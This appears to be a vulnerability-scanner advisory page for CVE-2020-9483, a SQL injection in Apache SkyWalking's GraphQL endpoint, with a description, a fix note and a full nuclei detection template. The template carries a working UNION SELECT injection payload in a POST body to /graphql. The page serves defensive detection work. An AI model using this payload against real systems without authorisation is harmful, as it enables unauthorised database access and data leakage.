SkyWalking SQLI

highseverity

7.5CVSS score

34.1%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

When using H2/MySQL/TiDB as Apache SkyWalking storage and a metadata query through GraphQL protocol, there is a SQL injection vulnerability which allows access to unexpected data. Apache SkyWalking 6.0.0 to 6.6.0, 7.0.0 H2/MySQL/TiDB storage implementations don't use the appropriate way to set SQL parameters.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Apply the latest security patches or updates provided by the SkyWalking project to fix the SQL injection vulnerability.

How to confirm it

Send: POST {{BaseURL}}/graphql
Positive when: contains in header "Content-Type: application/json" AND contains "UNION SELECT 1,CONCAT('~','9999999999','~')--" and "Exception while fetching data" AND status 200

Run it with nuclei: nuclei -id CVE-2020-9483 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-9483

info:
  name: SkyWalking SQLI
  author: pikpikcu
  severity: high
  description: |
    When using H2/MySQL/TiDB as Apache SkyWalking storage and a metadata query through GraphQL protocol, there is a SQL injection vulnerability which allows access to unexpected data. Apache SkyWalking 6.0.0 to 6.6.0, 7.0.0 H2/MySQL/TiDB storage implementations don't use the appropriate way to set SQL parameters.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest security patches or updates provided by the SkyWalking project to fix the SQL injection vulnerability.
  reference:
    - https://github.com/apache/skywalking/pull/4639
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9483
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/developer3000S/PoC-in-GitHub
    - https://github.com/pen4uin/awesome-vulnerability-research
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-9483
    cwe-id: CWE-89
    epss-score: 0.34057
    epss-percentile: 0.98413
    cpe: cpe:2.3:a:apache:skywalking:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: skywalking
  tags: cve,cve2020,sqli,skywalking,apache,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/graphql"

    body: |
      {"query":"query SQLi($d: Duration!){globalP99:getLinearIntValues(metric: {name:\"all_p99\",id:\"') UNION SELECT 1,CONCAT('~','9999999999','~')-- \",}, duration: $d){values{value}}}","variables":{"d":{"start":"2021-11-11","end":"2021-11-12","step":"DAY"}}}

    headers:
      Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Content-Type: application/json"

      - type: word
        part: body
        words:
          - "UNION SELECT 1,CONCAT('~','9999999999','~')--"
          - 'Exception while fetching data'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from